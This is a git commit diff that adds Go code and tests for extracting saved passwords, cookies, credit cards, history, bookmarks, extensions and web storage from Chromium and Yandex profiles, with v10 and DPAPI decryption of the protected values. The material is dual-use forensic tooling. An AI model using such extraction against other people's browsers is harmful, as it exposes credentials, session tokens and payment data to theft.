feat: add Chromium extract methods and source mapping (#521)

* feat: add Chromium extract methods, source mapping, and tests

Implement per-category data extraction for Chromium browsers as typed
standalone functions, preparing for Phase 8 wiring into the new
Chromium struct.

New files:
- source.go: dataSource struct, chromiumSources/yandexSources maps,
  yandexQueryOverrides for Yandex action_url variant
- decrypt.go: decryptValue() wrapping platform-specific decryption
- extract_password.go: SQLite + decrypt → []LoginEntry
- extract_cookie.go: SQLite + decrypt → []CookieEntry
- extract_creditcard.go: SQLite + decrypt → []CreditCardEntry
- extract_history.go: SQLite → []HistoryEntry
- extract_download.go: SQLite → []DownloadEntry
- extract_bookmark.go: JSON recursive → []BookmarkEntry
- extract_extension.go: JSON → []ExtensionEntry
- extract_storage.go: LevelDB → []StorageEntry (local + session)
- firefox/source.go: firefoxSources map

Tests use real Chrome table schemas for SQLite fixtures, with INSERT
helpers to keep test data readable and self-documenting.

Ref #520

* fix: remove LevelDB invalid path test (Windows compatibility)

leveldb.OpenFile creates the directory on Windows instead of returning
an error, causing TestExtractLocalStorage_InvalidPath to fail in CI.
This test was verifying LevelDB behavior, not our extraction logic.

* refactor: remove unused query parameter from extract functions

Only extractPasswords needs the query override (Yandex action_url).
The other 7 SQLite extract functions always use their default query,
so remove the unnecessary query parameter from their signatures.

* refactor: use DetectVersion in decryptValue instead of blind fallback

Replace try-then-fallback pattern with explicit version detection using
crypto.DetectVersion. Routes v10 to DecryptWithChromium, DPAPI to
DecryptWithDPAPI, and adds a TODO placeholder for v20 App-Bound
Encryption.

* chore: relax gocognit and gocritic linters for test files

* revert: restore strict gocognit and gocritic linters for test files

* fix: address review feedback on extract methods

- Store DetectVersion result in local variable to avoid duplicate call
- Scan credit card expiration_month/year as int then convert to string
  (matches INTEGER column type in real Chrome schema)
- Add os.Stat check before leveldb.OpenFile to prevent creating empty
  directories for non-existent paths
- Rename TestExtractExtensions_InvalidJSON to
  TestExtractExtensions_MissingSettingsPath (JSON is valid, path is missing)

* fix: revert creditcard scan to string type for NULL safety

modernc.org/sqlite handles INTEGER→string conversion automatically.
Scanning into string is safer for nullable columns — NULL becomes ""
instead of "0" which would be an invalid month/year.
This commit is contained in:
Roger
2026-03-29 21:18:45 +08:00
committed by moonD4rk
parent 9fb5165fcb
commit b3dd4ed6e4
21 changed files with 1073 additions and 0 deletions
+7
View File
@@ -196,6 +196,13 @@ linters:
- path: "crypto/keyretriever/gcoredump_darwin.go"
linters:
- gocognit
# Temporary: new v2 extract files have no callers until Phase 8 wiring
- path: "browser/chromium/(source|decrypt|extract_.*)\\.go"
linters:
- unused
- path: "browser/firefox/source\\.go"
linters:
- unused
formatters:
enable:
+29
View File
@@ -0,0 +1,29 @@
package chromium
import (
"fmt"
"github.com/moond4rk/hackbrowserdata/crypto"
)
// decryptValue decrypts a Chromium-encrypted value using the master key.
// It detects the cipher version from the ciphertext prefix and routes
// to the appropriate decryption function.
func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
if len(ciphertext) == 0 {
return nil, nil
}
version := crypto.DetectVersion(ciphertext)
switch version {
case crypto.CipherV10:
return crypto.DecryptWithChromium(masterKey, ciphertext)
case crypto.CipherV20:
// TODO: implement App-Bound Encryption (Chrome 127+)
return nil, fmt.Errorf("v20 App-Bound Encryption not yet supported")
case crypto.CipherDPAPI:
return crypto.DecryptWithDPAPI(ciphertext)
default:
return nil, fmt.Errorf("unsupported cipher version: %s", version)
}
}
+51
View File
@@ -0,0 +1,51 @@
package chromium
import (
"os"
"sort"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func extractBookmarks(path string) ([]types.BookmarkEntry, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
var bookmarks []types.BookmarkEntry
roots := gjson.GetBytes(data, "roots")
roots.ForEach(func(_, value gjson.Result) bool {
walkBookmarks(value, "", &bookmarks)
return true
})
sort.Slice(bookmarks, func(i, j int) bool {
return bookmarks[i].CreatedAt.After(bookmarks[j].CreatedAt)
})
return bookmarks, nil
}
// walkBookmarks recursively traverses the bookmark tree, collecting URL entries.
func walkBookmarks(node gjson.Result, folder string, out *[]types.BookmarkEntry) {
if node.Get("type").String() == "url" {
*out = append(*out, types.BookmarkEntry{
Name: node.Get("name").String(),
URL: node.Get("url").String(),
Folder: folder,
CreatedAt: typeutil.TimeEpoch(node.Get("date_added").Int()),
})
}
children := node.Get("children")
if !children.Exists() || !children.IsArray() {
return
}
currentFolder := node.Get("name").String()
for _, child := range children.Array() {
walkBookmarks(child, currentFolder, out)
}
}
+74
View File
@@ -0,0 +1,74 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractBookmarks(t *testing.T) {
path := createTestJSON(t, "Bookmarks", `{
"roots": {
"bookmark_bar": {
"name": "Bookmarks Bar",
"type": "folder",
"children": [
{"name": "Go", "type": "url", "url": "https://go.dev", "date_added": "13360000000000000"},
{
"name": "News",
"type": "folder",
"children": [
{"name": "HN", "type": "url", "url": "https://news.ycombinator.com", "date_added": "13350000000000000"}
]
}
]
},
"other": {
"name": "Other",
"type": "folder",
"children": [
{"name": "GitHub", "type": "url", "url": "https://github.com", "date_added": "13370000000000000"}
]
}
}
}`)
got, err := extractBookmarks(path)
require.NoError(t, err)
require.Len(t, got, 3)
// Verify sort order: date added descending (newest first)
assert.Equal(t, "GitHub", got[0].Name)
assert.Equal(t, "Go", got[1].Name)
assert.Equal(t, "HN", got[2].Name)
// Verify field mapping
assert.Equal(t, "https://github.com", got[0].URL)
assert.Equal(t, "Other", got[0].Folder)
// Verify nested folder tracking
assert.Equal(t, "https://news.ycombinator.com", got[2].URL)
assert.Equal(t, "News", got[2].Folder) // parent folder name
}
func TestExtractBookmarks_FoldersExcluded(t *testing.T) {
path := createTestJSON(t, "Bookmarks", `{
"roots": {
"bookmark_bar": {
"name": "Bar",
"type": "folder",
"children": [
{"name": "EmptyFolder", "type": "folder", "children": []},
{"name": "Link", "type": "url", "url": "https://example.com", "date_added": "0"}
]
}
}
}`)
got, err := extractBookmarks(path)
require.NoError(t, err)
require.Len(t, got, 1) // only URL entries, not folders
assert.Equal(t, "Link", got[0].Name)
assert.Equal(t, "Bar", got[0].Folder)
}
+52
View File
@@ -0,0 +1,52 @@
package chromium
import (
"database/sql"
"sort"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
const defaultCookieQuery = `SELECT name, encrypted_value, host_key, path,
creation_utc, expires_utc, is_secure, is_httponly,
has_expires, is_persistent FROM cookies`
func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) {
cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery,
func(rows *sql.Rows) (types.CookieEntry, error) {
var (
name, host, cookiePath string
isSecure, isHTTPOnly int
hasExpire, isPersistent int
createdAt, expireAt int64
encryptedValue []byte
)
if err := rows.Scan(&name, &encryptedValue, &host, &cookiePath,
&createdAt, &expireAt, &isSecure, &isHTTPOnly,
&hasExpire, &isPersistent); err != nil {
return types.CookieEntry{}, err
}
value, _ := decryptValue(masterKey, encryptedValue)
return types.CookieEntry{
Name: name,
Host: host,
Path: cookiePath,
Value: string(value),
IsSecure: isSecure != 0,
IsHTTPOnly: isHTTPOnly != 0,
ExpireAt: typeutil.TimeEpoch(expireAt),
CreatedAt: typeutil.TimeEpoch(createdAt),
}, nil
})
if err != nil {
return nil, err
}
sort.Slice(cookies, func(i, j int) bool {
return cookies[i].CreatedAt.After(cookies[j].CreatedAt)
})
return cookies, nil
}
+35
View File
@@ -0,0 +1,35 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractCookies(t *testing.T) {
path := createTestDB(t, "Cookies", cookiesSchema,
insertCookie("session", ".old.com", "/", "", 13340000000000000, 13350000000000000, 1, 1),
insertCookie("token", ".new.com", "/api", "", 13360000000000000, 13370000000000000, 1, 0),
)
got, err := extractCookies(nil, path)
require.NoError(t, err)
require.Len(t, got, 2)
// Verify sort order: creation time descending (newest first)
assert.Equal(t, ".new.com", got[0].Host)
assert.Equal(t, ".old.com", got[1].Host)
// Verify field mapping
assert.Equal(t, "token", got[0].Name)
assert.Equal(t, "/api", got[0].Path)
assert.True(t, got[0].IsSecure)
assert.False(t, got[0].IsHTTPOnly) // httpOnly=0
assert.False(t, got[0].CreatedAt.IsZero())
assert.False(t, got[0].ExpireAt.IsZero())
assert.True(t, got[0].ExpireAt.After(got[0].CreatedAt))
// Verify second cookie flags
assert.True(t, got[1].IsHTTPOnly) // httpOnly=1
}
+29
View File
@@ -0,0 +1,29 @@
package chromium
import (
"database/sql"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
)
const defaultCreditCardQuery = `SELECT name_on_card, expiration_month, expiration_year,
card_number_encrypted FROM credit_cards`
func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, error) {
return sqliteutil.QueryRows(path, false, defaultCreditCardQuery,
func(rows *sql.Rows) (types.CreditCardEntry, error) {
var name, month, year string
var encNumber []byte
if err := rows.Scan(&name, &month, &year, &encNumber); err != nil {
return types.CreditCardEntry{}, err
}
number, _ := decryptValue(masterKey, encNumber)
return types.CreditCardEntry{
Name: name,
Number: string(number),
ExpMonth: month,
ExpYear: year,
}, nil
})
}
@@ -0,0 +1,30 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractCreditCards(t *testing.T) {
path := createTestDB(t, "Web Data", creditCardsSchema,
insertCreditCard("John Doe", 12, 2025, ""),
insertCreditCard("Jane Smith", 6, 2027, ""),
)
got, err := extractCreditCards(nil, path)
require.NoError(t, err)
require.Len(t, got, 2)
// Verify field mapping
assert.Equal(t, "John Doe", got[0].Name)
assert.Equal(t, "12", got[0].ExpMonth)
assert.Equal(t, "2025", got[0].ExpYear)
// Card number is empty because masterKey is nil (decrypt returns empty)
assert.Empty(t, got[0].Number)
assert.Equal(t, "Jane Smith", got[1].Name)
assert.Equal(t, "6", got[1].ExpMonth)
assert.Equal(t, "2027", got[1].ExpYear)
}
+38
View File
@@ -0,0 +1,38 @@
package chromium
import (
"database/sql"
"sort"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
const defaultDownloadQuery = `SELECT target_path, tab_url, total_bytes, start_time, end_time FROM downloads`
func extractDownloads(path string) ([]types.DownloadEntry, error) {
downloads, err := sqliteutil.QueryRows(path, false, defaultDownloadQuery,
func(rows *sql.Rows) (types.DownloadEntry, error) {
var targetPath, url string
var totalBytes, startTime, endTime int64
if err := rows.Scan(&targetPath, &url, &totalBytes, &startTime, &endTime); err != nil {
return types.DownloadEntry{}, err
}
return types.DownloadEntry{
URL: url,
TargetPath: targetPath,
TotalBytes: totalBytes,
StartTime: typeutil.TimeEpoch(startTime),
EndTime: typeutil.TimeEpoch(endTime),
}, nil
})
if err != nil {
return nil, err
}
sort.Slice(downloads, func(i, j int) bool {
return downloads[i].StartTime.After(downloads[j].StartTime)
})
return downloads, nil
}
+30
View File
@@ -0,0 +1,30 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractDownloads(t *testing.T) {
path := createTestDB(t, "History", downloadsSchema,
insertDownload("/tmp/old.zip", "https://old.com/file.zip", 1024, 13340000000000000, 13340000100000000),
insertDownload("/tmp/new.pdf", "https://new.com/doc.pdf", 2048, 13360000000000000, 13360000200000000),
)
got, err := extractDownloads(path)
require.NoError(t, err)
require.Len(t, got, 2)
// Verify sort order: start time descending (newest first)
assert.Equal(t, "https://new.com/doc.pdf", got[0].URL)
assert.Equal(t, "https://old.com/file.zip", got[1].URL)
// Verify field mapping
assert.Equal(t, "/tmp/new.pdf", got[0].TargetPath)
assert.Equal(t, int64(2048), got[0].TotalBytes)
assert.False(t, got[0].StartTime.IsZero())
assert.False(t, got[0].EndTime.IsZero())
assert.True(t, got[0].StartTime.Before(got[0].EndTime))
}
+59
View File
@@ -0,0 +1,59 @@
package chromium
import (
"fmt"
"os"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/types"
)
func extractExtensions(path string) ([]types.ExtensionEntry, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, err
}
// Try known JSON paths for extension settings
settingKeys := []string{
"extensions.settings",
"settings.extensions",
"settings.settings",
}
var settings gjson.Result
for _, key := range settingKeys {
settings = gjson.GetBytes(data, key)
if settings.Exists() {
break
}
}
if !settings.Exists() {
return nil, fmt.Errorf("cannot find extensions in settings")
}
var extensions []types.ExtensionEntry
settings.ForEach(func(id, ext gjson.Result) bool {
// Skip system/component extensions
// https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom
location := ext.Get("location").Int()
if location == 5 || location == 10 {
return true
}
manifest := ext.Get("manifest")
if !manifest.Exists() {
return true
}
extensions = append(extensions, types.ExtensionEntry{
Name: manifest.Get("name").String(),
ID: id.String(),
Description: manifest.Get("description").String(),
Version: manifest.Get("version").String(),
})
return true
})
return extensions, nil
}
@@ -0,0 +1,77 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractExtensions(t *testing.T) {
path := createTestJSON(t, "Secure Preferences", `{
"extensions": {
"settings": {
"abc123": {
"location": 1,
"manifest": {
"name": "React DevTools",
"description": "React debugging",
"version": "4.28.0"
}
},
"system-ext": {
"location": 5,
"manifest": {"name": "System", "version": "1.0"}
},
"component-ext": {
"location": 10,
"manifest": {"name": "Component", "version": "1.0"}
},
"def456": {
"location": 1,
"manifest": {
"name": "uBlock Origin",
"description": "Ad blocker",
"version": "1.52.0"
}
}
}
}
}`)
got, err := extractExtensions(path)
require.NoError(t, err)
require.Len(t, got, 2) // system (location=5) and component (location=10) skipped
// Verify field mapping (order may vary since gjson.ForEach iterates map)
ids := map[string]bool{}
for _, ext := range got {
ids[ext.ID] = true
assert.NotEmpty(t, ext.Name)
assert.NotEmpty(t, ext.Version)
assert.NotEmpty(t, ext.Description)
}
assert.True(t, ids["abc123"])
assert.True(t, ids["def456"])
assert.False(t, ids["system-ext"])
}
func TestExtractExtensions_NoManifestSkipped(t *testing.T) {
path := createTestJSON(t, "Secure Preferences", `{
"extensions": {
"settings": {
"no-manifest": {"location": 1}
}
}
}`)
got, err := extractExtensions(path)
require.NoError(t, err)
assert.Empty(t, got)
}
func TestExtractExtensions_MissingSettingsPath(t *testing.T) {
path := createTestJSON(t, "Secure Preferences", `{"something": "else"}`)
_, err := extractExtensions(path)
require.Error(t, err)
}
+38
View File
@@ -0,0 +1,38 @@
package chromium
import (
"database/sql"
"sort"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
const defaultHistoryQuery = `SELECT url, title, visit_count, last_visit_time FROM urls`
func extractHistories(path string) ([]types.HistoryEntry, error) {
histories, err := sqliteutil.QueryRows(path, false, defaultHistoryQuery,
func(rows *sql.Rows) (types.HistoryEntry, error) {
var url, title string
var visitCount int
var lastVisit int64
if err := rows.Scan(&url, &title, &visitCount, &lastVisit); err != nil {
return types.HistoryEntry{}, err
}
return types.HistoryEntry{
URL: url,
Title: title,
VisitCount: visitCount,
LastVisit: typeutil.TimeEpoch(lastVisit),
}, nil
})
if err != nil {
return nil, err
}
sort.Slice(histories, func(i, j int) bool {
return histories[i].VisitCount > histories[j].VisitCount
})
return histories, nil
}
+35
View File
@@ -0,0 +1,35 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractHistories(t *testing.T) {
path := createTestDB(t, "History", urlsSchema,
insertURL("https://github.com", "GitHub", 100, 13370000000000000),
insertURL("https://go.dev", "Go Dev", 50, 13360000000000000),
insertURL("https://example.com", "Example", 200, 13350000000000000),
)
got, err := extractHistories(path)
require.NoError(t, err)
require.Len(t, got, 3)
// Verify sort order: visit count descending
assert.Equal(t, 200, got[0].VisitCount)
assert.Equal(t, 100, got[1].VisitCount)
assert.Equal(t, 50, got[2].VisitCount)
// Verify field mapping
assert.Equal(t, "https://example.com", got[0].URL)
assert.Equal(t, "Example", got[0].Title)
assert.False(t, got[0].LastVisit.IsZero())
}
func TestExtractHistories_FileNotFound(t *testing.T) {
_, err := extractHistories("/nonexistent/History")
require.Error(t, err)
}
+43
View File
@@ -0,0 +1,43 @@
package chromium
import (
"database/sql"
"sort"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
const defaultLoginQuery = `SELECT origin_url, username_value, password_value, date_created FROM logins`
func extractPasswords(masterKey []byte, path, query string) ([]types.LoginEntry, error) {
if query == "" {
query = defaultLoginQuery
}
logins, err := sqliteutil.QueryRows(path, false, query,
func(rows *sql.Rows) (types.LoginEntry, error) {
var url, username string
var pwd []byte
var created int64
if err := rows.Scan(&url, &username, &pwd, &created); err != nil {
return types.LoginEntry{}, err
}
password, _ := decryptValue(masterKey, pwd)
return types.LoginEntry{
URL: url,
Username: username,
Password: string(password),
CreatedAt: typeutil.TimeEpoch(created),
}, nil
})
if err != nil {
return nil, err
}
sort.Slice(logins, func(i, j int) bool {
return logins[i].CreatedAt.After(logins[j].CreatedAt)
})
return logins, nil
}
+43
View File
@@ -0,0 +1,43 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/moond4rk/hackbrowserdata/types"
)
func TestExtractPasswords(t *testing.T) {
path := createTestDB(t, "Login Data", loginsSchema,
insertLogin("https://old.com", "https://old.com/login", "alice", "", 13340000000000000),
insertLogin("https://new.com", "https://new.com/login", "bob", "", 13360000000000000),
)
got, err := extractPasswords(nil, path, "")
require.NoError(t, err)
require.Len(t, got, 2)
// Verify sort order: date created descending (newest first)
assert.Equal(t, "https://new.com", got[0].URL)
assert.Equal(t, "https://old.com", got[1].URL)
// Verify field mapping
assert.Equal(t, "bob", got[0].Username)
assert.False(t, got[0].CreatedAt.IsZero())
// Password is empty because masterKey is nil (decrypt returns empty)
assert.Empty(t, got[0].Password)
}
func TestExtractPasswords_YandexQueryOverride(t *testing.T) {
path := createTestDB(t, "Ya Passman Data", loginsSchema,
insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000),
)
// Yandex uses action_url instead of origin_url
got, err := extractPasswords(nil, path, yandexQueryOverrides[types.Password])
require.NoError(t, err)
require.Len(t, got, 1)
assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url
}
+58
View File
@@ -0,0 +1,58 @@
package chromium
import (
"bytes"
"fmt"
"os"
"github.com/syndtr/goleveldb/leveldb"
"github.com/moond4rk/hackbrowserdata/types"
)
func extractLocalStorage(path string) ([]types.StorageEntry, error) {
return extractLevelDB(path, []byte("\x00"))
}
func extractSessionStorage(path string) ([]types.StorageEntry, error) {
return extractLevelDB(path, []byte("-"))
}
// extractLevelDB iterates over all entries in a LevelDB directory,
// splitting each key by the separator into (url, name).
func extractLevelDB(path string, separator []byte) ([]types.StorageEntry, error) {
if _, err := os.Stat(path); os.IsNotExist(err) {
return nil, fmt.Errorf("leveldb path not found: %s", path)
}
db, err := leveldb.OpenFile(path, nil)
if err != nil {
return nil, err
}
defer db.Close()
var entries []types.StorageEntry
iter := db.NewIterator(nil, nil)
defer iter.Release()
for iter.Next() {
url, name := parseStorageKey(iter.Key(), separator)
if url == "" {
continue
}
entries = append(entries, types.StorageEntry{
URL: url,
Key: name,
Value: string(iter.Value()),
})
}
return entries, iter.Error()
}
// parseStorageKey splits a LevelDB key into (url, name) by the given separator.
func parseStorageKey(key, separator []byte) (url, name string) {
parts := bytes.SplitN(key, separator, 2)
if len(parts) != 2 {
return "", ""
}
return string(parts[0]), string(parts[1])
}
+48
View File
@@ -0,0 +1,48 @@
package chromium
import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestExtractLocalStorage(t *testing.T) {
dir := createTestLevelDB(t, map[string]string{
"https://example.com\x00token": "abc123",
"https://example.com\x00theme": "dark",
"https://other.com\x00session_id": "xyz789",
"noseparator": "should-be-skipped",
})
got, err := extractLocalStorage(dir)
require.NoError(t, err)
require.Len(t, got, 3) // "noseparator" entry skipped
// Verify field mapping by collecting into a lookup
byKey := map[string]string{}
for _, entry := range got {
byKey[entry.URL+"/"+entry.Key] = entry.Value
}
assert.Equal(t, "abc123", byKey["https://example.com/token"])
assert.Equal(t, "dark", byKey["https://example.com/theme"])
assert.Equal(t, "xyz789", byKey["https://other.com/session_id"])
}
func TestExtractSessionStorage(t *testing.T) {
dir := createTestLevelDB(t, map[string]string{
"https://example.com-token": "abc123",
"https://example.com-user": "alice",
})
got, err := extractSessionStorage(dir)
require.NoError(t, err)
require.Len(t, got, 2)
byKey := map[string]string{}
for _, entry := range got {
byKey[entry.Key] = entry.Value
}
assert.Equal(t, "abc123", byKey["token"])
assert.Equal(t, "alice", byKey["user"])
}
+48
View File
@@ -0,0 +1,48 @@
package chromium
import "github.com/moond4rk/hackbrowserdata/types"
// dataSource maps a Category to one or more candidate file paths within a profile directory.
// paths are tried in order; the first one that exists is used.
type dataSource struct {
paths []string // candidate relative paths in priority order
isDir bool // true for LevelDB directories
}
// chromiumSources defines the standard Chromium file layout.
var chromiumSources = map[types.Category]dataSource{
types.Password: {paths: []string{"Login Data"}},
types.Cookie: {paths: []string{"Network/Cookies", "Cookies"}},
types.History: {paths: []string{"History"}},
types.Download: {paths: []string{"History"}}, // same file, different query
types.Bookmark: {paths: []string{"Bookmarks"}},
types.CreditCard: {paths: []string{"Web Data"}},
types.Extension: {paths: []string{"Secure Preferences"}},
types.LocalStorage: {paths: []string{"Local Storage/leveldb"}, isDir: true},
types.SessionStorage: {paths: []string{"Session Storage"}, isDir: true},
}
// yandexSourceOverrides contains only the entries that differ from chromiumSources.
// At initialization time, these are merged into a copy of chromiumSources.
var yandexSourceOverrides = map[types.Category]dataSource{
types.Password: {paths: []string{"Ya Passman Data"}},
types.CreditCard: {paths: []string{"Ya Credit Cards"}},
}
// yandexSources returns chromiumSources with Yandex-specific overrides applied.
func yandexSources() map[types.Category]dataSource {
sources := make(map[types.Category]dataSource, len(chromiumSources))
for k, v := range chromiumSources {
sources[k] = v
}
for k, v := range yandexSourceOverrides {
sources[k] = v
}
return sources
}
// yandexQueryOverrides provides SQL query overrides for Yandex Browser.
// Yandex uses action_url instead of origin_url for password storage.
var yandexQueryOverrides = map[types.Category]string{
types.Password: `SELECT action_url, username_value, password_value, date_created FROM logins`,
}
+228
View File
@@ -0,0 +1,228 @@
package chromium
import (
"database/sql"
"fmt"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
"github.com/syndtr/goleveldb/leveldb"
_ "modernc.org/sqlite"
)
// ---------------------------------------------------------------------------
// Real Chrome table schemas — extracted via `sqlite3 <db> ".schema <table>"`.
// Using complete schemas ensures our SQL queries work against real browser data.
// ---------------------------------------------------------------------------
const loginsSchema = `CREATE TABLE logins (
origin_url VARCHAR NOT NULL,
action_url VARCHAR,
username_element VARCHAR,
username_value VARCHAR,
password_element VARCHAR,
password_value BLOB,
submit_element VARCHAR,
signon_realm VARCHAR NOT NULL,
date_created INTEGER NOT NULL,
blacklisted_by_user INTEGER NOT NULL,
scheme INTEGER NOT NULL,
password_type INTEGER,
times_used INTEGER,
form_data BLOB,
display_name VARCHAR,
icon_url VARCHAR,
federation_url VARCHAR,
skip_zero_click INTEGER,
generation_upload_status INTEGER,
possible_username_pairs BLOB,
id INTEGER PRIMARY KEY AUTOINCREMENT,
date_last_used INTEGER NOT NULL DEFAULT 0,
moving_blocked_for BLOB,
date_password_modified INTEGER NOT NULL DEFAULT 0,
sender_email VARCHAR,
sender_name VARCHAR,
date_received INTEGER,
sharing_notification_displayed INTEGER NOT NULL DEFAULT 0,
keychain_identifier BLOB,
sender_profile_image_url VARCHAR,
date_last_filled INTEGER NOT NULL DEFAULT 0,
actor_login_approved INTEGER NOT NULL DEFAULT 0,
UNIQUE (origin_url, username_element, username_value, password_element, signon_realm)
)`
const cookiesSchema = `CREATE TABLE cookies (
creation_utc INTEGER NOT NULL,
host_key TEXT NOT NULL,
top_frame_site_key TEXT NOT NULL,
name TEXT NOT NULL,
value TEXT NOT NULL,
encrypted_value BLOB NOT NULL,
path TEXT NOT NULL,
expires_utc INTEGER NOT NULL,
is_secure INTEGER NOT NULL,
is_httponly INTEGER NOT NULL,
last_access_utc INTEGER NOT NULL,
has_expires INTEGER NOT NULL,
is_persistent INTEGER NOT NULL,
priority INTEGER NOT NULL,
samesite INTEGER NOT NULL,
source_scheme INTEGER NOT NULL,
source_port INTEGER NOT NULL,
last_update_utc INTEGER NOT NULL,
source_type INTEGER NOT NULL,
has_cross_site_ancestor INTEGER NOT NULL
)`
const urlsSchema = `CREATE TABLE urls (
id INTEGER PRIMARY KEY AUTOINCREMENT,
url LONGVARCHAR,
title LONGVARCHAR,
visit_count INTEGER DEFAULT 0 NOT NULL,
typed_count INTEGER DEFAULT 0 NOT NULL,
last_visit_time INTEGER NOT NULL,
hidden INTEGER DEFAULT 0 NOT NULL
)`
const downloadsSchema = `CREATE TABLE downloads (
id INTEGER PRIMARY KEY,
guid VARCHAR NOT NULL,
current_path LONGVARCHAR NOT NULL,
target_path LONGVARCHAR NOT NULL,
start_time INTEGER NOT NULL,
received_bytes INTEGER NOT NULL,
total_bytes INTEGER NOT NULL,
state INTEGER NOT NULL,
danger_type INTEGER NOT NULL,
interrupt_reason INTEGER NOT NULL,
hash BLOB NOT NULL,
end_time INTEGER NOT NULL,
opened INTEGER NOT NULL,
last_access_time INTEGER NOT NULL,
transient INTEGER NOT NULL,
referrer VARCHAR NOT NULL,
site_url VARCHAR NOT NULL,
embedder_download_data VARCHAR NOT NULL,
tab_url VARCHAR NOT NULL,
tab_referrer_url VARCHAR NOT NULL,
http_method VARCHAR NOT NULL,
by_ext_id VARCHAR NOT NULL,
by_ext_name VARCHAR NOT NULL,
by_web_app_id VARCHAR NOT NULL,
etag VARCHAR NOT NULL,
last_modified VARCHAR NOT NULL,
mime_type VARCHAR(255) NOT NULL,
original_mime_type VARCHAR(255) NOT NULL
)`
const creditCardsSchema = `CREATE TABLE credit_cards (
guid VARCHAR PRIMARY KEY,
name_on_card VARCHAR,
expiration_month INTEGER,
expiration_year INTEGER,
card_number_encrypted BLOB,
date_modified INTEGER NOT NULL DEFAULT 0,
origin VARCHAR DEFAULT '',
use_count INTEGER NOT NULL DEFAULT 0,
use_date INTEGER NOT NULL DEFAULT 0,
billing_address_id VARCHAR,
nickname VARCHAR
)`
// ---------------------------------------------------------------------------
// INSERT helpers — each returns one SQL statement with only the fields
// our extract functions care about; other NOT NULL columns get defaults.
// ---------------------------------------------------------------------------
func insertLogin(originURL, actionURL, username, pwdHex string, dateCreated int64) string {
return fmt.Sprintf(
`INSERT INTO logins (origin_url, action_url, username_element, username_value,
password_element, password_value, submit_element, signon_realm, date_created,
blacklisted_by_user, scheme)
VALUES ('%s', '%s', '', '%s', '', x'%s', '', '%s', %d, 0, 0)`,
originURL, actionURL, username, pwdHex, originURL, dateCreated,
)
}
func insertCookie(name, host, path, encValueHex string, creationUTC, expiresUTC int64, secure, httpOnly int) string {
return fmt.Sprintf(
`INSERT INTO cookies (creation_utc, host_key, top_frame_site_key, name, value,
encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc,
has_expires, is_persistent, priority, samesite, source_scheme, source_port,
last_update_utc, source_type, has_cross_site_ancestor)
VALUES (%d, '%s', '', '%s', '', x'%s', '%s', %d, %d, %d, %d, 1, 1, 1, 0, 2, 443, %d, 0, 0)`,
creationUTC, host, name, encValueHex, path, expiresUTC, secure, httpOnly, creationUTC, creationUTC,
)
}
func insertURL(url, title string, visitCount int, lastVisitTime int64) string {
return fmt.Sprintf(
`INSERT INTO urls (url, title, visit_count, typed_count, last_visit_time, hidden)
VALUES ('%s', '%s', %d, 0, %d, 0)`,
url, title, visitCount, lastVisitTime,
)
}
func insertDownload(targetPath, tabURL string, totalBytes, startTime, endTime int64) string {
return fmt.Sprintf(
`INSERT INTO downloads (id, guid, current_path, target_path, start_time, received_bytes,
total_bytes, state, danger_type, interrupt_reason, hash, end_time, opened, last_access_time,
transient, referrer, site_url, embedder_download_data, tab_url, tab_referrer_url,
http_method, by_ext_id, by_ext_name, by_web_app_id, etag, last_modified, mime_type, original_mime_type)
VALUES (NULL, '', '', '%s', %d, %d, %d, 1, 0, 0, x'', %d, 0, 0, 0, '', '', '', '%s', '', 'GET', '', '', '', '', '', '', '')`,
targetPath, startTime, totalBytes, totalBytes, endTime, tabURL,
)
}
func insertCreditCard(name string, month, year int, encNumberHex string) string {
return fmt.Sprintf(
`INSERT INTO credit_cards (guid, name_on_card, expiration_month, expiration_year, card_number_encrypted)
VALUES ('%s-%d-%d', '%s', %d, %d, x'%s')`,
name, month, year, name, month, year, encNumberHex,
)
}
// ---------------------------------------------------------------------------
// Test fixture builders
// ---------------------------------------------------------------------------
// createTestDB creates a SQLite database with the given schema and insert statements.
func createTestDB(t *testing.T, name, schema string, inserts ...string) string {
t.Helper()
path := filepath.Join(t.TempDir(), name)
db, err := sql.Open("sqlite", path)
require.NoError(t, err)
defer db.Close()
_, err = db.Exec(schema)
require.NoError(t, err)
